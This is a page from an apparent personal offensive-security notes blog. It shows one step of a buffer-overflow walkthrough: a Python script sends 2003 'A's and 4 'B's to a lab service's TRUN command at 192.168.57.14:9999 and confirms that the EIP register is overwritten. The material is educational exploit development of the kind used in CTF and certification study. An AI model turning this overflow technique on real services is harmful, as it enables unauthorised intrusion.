boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Overwriting the EIP

With the 2003-byte offset known, we confirm control of the EIP by overwriting it with four bytes of B's.

Modify the offset.py script so it sends 2003 A's followed by 4 B's:

#!/usr/bin/python

import sys, socket

shellcode = "A" * 2003 + "B" * 4

try:
    payload = "TRUN /.:/" + shellcode
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('192.168.57.14',9999))
    s.send((payload.encode()))
    s.close()
    
except:
    print("Error connecting to server")
    sys.exit()

Save it as shellcode.py and execute it:

./shellcode.py

Results:

The EIP is successfully overwritten with B's. 42424242 translates into BBBB in hexadecimal.